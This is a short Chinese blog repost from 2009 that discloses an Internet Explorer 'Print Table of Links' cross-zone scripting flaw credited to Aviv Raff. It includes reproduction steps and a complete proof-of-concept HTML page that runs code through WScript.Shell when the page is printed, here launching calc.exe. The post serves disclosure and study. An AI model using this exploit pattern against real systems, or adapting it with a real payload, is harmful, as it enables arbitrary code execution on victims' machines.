Aviv Raff的IE0day，公布了

2009-2-4 06:24 715 0

摘要: Neeao's Security Blog MS Internet Explorer "Print Table of Links" Cross-Zone Scripting Vuln...

关键词： Print Table Links 下面代码 raffon QuotPrintTableOf InternetExplorer neScriptingVulne calc

Neeao's Security Blog MS Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability具体细节:http://aviv.raffon.net/2008/05/14/InternetExplorerQuotPrintTableOfLinksquotCrossZoneScriptingVulnerability.aspx如果启用了 "Print Table of Links"，在打印一个网页的时候，能够导致执行任意代码，当然VISTA上UAC可以拦截它 :)重现：1.下面这个地方打上勾2.把下面代码保存成HTML，用IE打开，打印之，calc.exe会弹出。（也可以直接访问http://raffon.net/research/ms/ie/print/linksrce.html） <html><body>Print me with table of links to execute calc.exe<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a><script>window.print();</script></body></html>

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除